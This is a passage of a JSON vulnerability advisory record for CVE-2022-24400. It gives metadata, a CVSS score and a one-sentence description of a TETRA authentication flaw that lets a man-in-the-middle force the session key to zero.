      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-19T10:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A flaw in the TETRA authentication procecure allows a MITM adversary that can predict the MS challenge RAND2 to set session key DCK to zero.",
  "id": "GHSA-6w2r-58cq-54q2",
  "modified": "2024-04-04T08:47:11Z",
  "published": "2023-10-19T12:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24400"
    },
    {
      "type": "WEB",
      "url": "https://tetraburst.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}